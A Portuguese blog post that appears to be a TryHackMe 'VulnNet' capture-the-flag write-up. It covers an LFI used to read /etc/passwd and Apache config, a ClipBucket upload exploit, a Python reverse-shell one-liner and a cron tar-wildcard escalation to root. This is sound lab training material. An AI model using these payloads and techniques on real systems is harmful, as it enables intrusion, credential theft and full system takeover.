Introdução
Bom dia, boa tarde e boa noite a todos que estão acompanhando o Blog do GA! Dessa vez, postarei um writeup para diferenciar um pouco e não ficar na mesmice 🙂
Antes de tudo, gostaria de avisar que esta máquina se localiza na plataforma do THM(Try Hack Me), a qual é bastante legal para estudar falhas, em particular. Então, caso o leitor queira acessá-la, está aqui o link da mesma: https://tryhackme.com/room/vulnnet1
WriteUp
Começaremos adicionando o seguinte host no arquivo “/etc/hosts”: vulnnet.thm e, logo em seguida, enumerar as portas abertas da máquina, tendo em conta que existem 2.
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS -Pn 10.10.33.105 -p- -T4
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-16 12:51 EDT
Nmap scan report for vulnnet.thm (10.10.33.105)
Host is up (0.32s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Após analisar um pouco e checar algumas funcionalidades do site presente na porta 80, foi encontrado um LFI através de um arquivo .js (index__d8338055.js) que expôs um objeto existente na página principal do site: “?referer”.
Pode-se checar tal afirmação através da seguinte URL: “view-source:http://vulnnet.thm/index.php?referer=/etc/passwd”
Abaixo desse arquivo que foi encontrado, existe outro chamado: index__7ed54732.js. Através dele, conseguimos saber da existência de um VHost na aplicação (broadcast.vulnnet.thm).
Para termos certeza de que isto existe na máquina, basta lermos o arquivo “/etc/hosts” através do LFI encontrado anteriormente.
VHost adicionado ao arquivo “/etc/hosts”, para sua análise posteriormente, podemos, enfim, ver suas funcionalidades.
Mas, ao tentar verificar funcionalidades do mesmo, somos barrados com um tipo de autenticação que pede. Para burlamos isso, basta ler o arquivo de configuração dos sites (/etc/apache2/sites-anebled/000-default.conf) e verificar a localização do arquivo de senhas para autenticar no “broadcast.vulnnet.thm”:
Para os curiosos de plantão, deixarei o código do script utilizado na imagem acima logo abaixo:
#!/bin/bash
curl http://vulnnet.thm/index.php?referer=$1 | grep script -B30 | egrep -v script | egrep -v '<'
Lido o arquivo que guarda as senhas da aplicação, resta quebrar a hash encontrada e utilizá-la para login.
Exploração para Reverse Shell
Estando logados, percebe-se um cms sendo utilizado, o qual possui o nome “ClipBucket” e sua versão é a 4.0.0. Jogando o nome e a versão deste CMS para o searchsploit, é descoberto que ele está vulnerável a File Upload, que leva a RCE(Remote Code Execution).
Existem 2 maneiras para explorar isto:
- 1 — Fazendo na mão, utilizando o POC fornecido na página do exploit-db;
- 2 — Fazendo de forma automatizada, utilizando o exploit fornecido no GitHub.
Vai de cada explorar de cada jeito, porém, neste writeup utilizar da forma automatizada, para não tomar muito tempo e nem ficar complicado demais.
Usando o exploit do GitHub:
┌──(kali㉿kali)-[~]
└─$ python2 exploit.py broadcast.vulnnet.thm developers 9972761drmfsls
Obtemos uma webshell que nos permite upar uma reverse shell.
Utilizei o seguinte payload para isso:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Escalando para usuário server-management
Após a enumeração de alguns diretórios, localiza-se um arquivo de backup SSH do usuário server-management.
Fazendo o download deste arquivo para nossa máquina, podemos ver que é um id_rsa, porém encriptado. Para sabermos a passphrase deste arquivo, basta usar a ferramenta do John para ssh e decriptar o arquivo gerado por ela.
Depois de obter a passphrase e o id_rsa, podemos utilizá-los para autenticar via SSH e conectar na máquina alvo como usuário “server-management” e ler a flag do user.
PrivEsc to Root
Lendo o arquivo crontab (/etc/crontab), vemos um .sh de backup rodando como root.
E, depois de analisá-lo, dá para ver que está pegando o nome dos arquivos de um diretório, o qual temos permissão de escrita, e jogando eles para executar na ferramenta de compressão de arquivos do linux: tar.
server-management@vulnnet:~$ cat /var/opt/backupsrv.sh
#!/bin/bash
# Where to backup to.
dest="/var/backups"
# What to backup.
cd /home/server-management/Documents
backup_files="*"
# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"
# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo
# Backup the files using tar.
tar czf $dest/$archive_file $backup_files
# Print end status message.
echo
echo "Backup finished"
date
# Long listing of files in $dest to check file sizes.
ls -lh $dest
Indo no GTFOBins, uma página que concentra várias maneiras de utilizar binários conhecidos para privesc e afins, podemos ver um jeito de escalar privilégio para o root através da ferramenta tar. Porém, como está pegando somente nomes dos arquivos localizados na pasta /home/server-management/Documents, teremos que criar dois arquivos da seguinte maneira para poder explorar esta configuração:
Desta maneira, serão criados 2 arquivos, ambos com nome de parâmetros da ferramenta tar para que seja possível injetar eles no comando dentro do .sh. Sendo assim, criaremos o arquivo que será executado como root para conseguirmos escalar nossos privilégios.
Foi colocado o comando para transformar o bash em SUID dentro do missconfiguration.sh, possibilitando a execução do mesmo para obtenção de acesso ao usuário root.
Desta forma, finalizamos a máquina e o WriteUp.
Espero que tenham gostado!
Não acho que esta seja uma das melhores máquinas de CTF, porém, é bastante legal para retomar alguns conceitos para quem está enferrujado e voltar a ativa 🙂
Enfim, me despeço aqui. Novamente, bom dia, boa tarde e boa noite a todos e, é isso, tmjj!!!
Só um recadinho pra quem leu até o final, o GA CTF voltará com os vídeos e, dependendo do rendimento, terá uma surpresinha que alguns pedem hehe.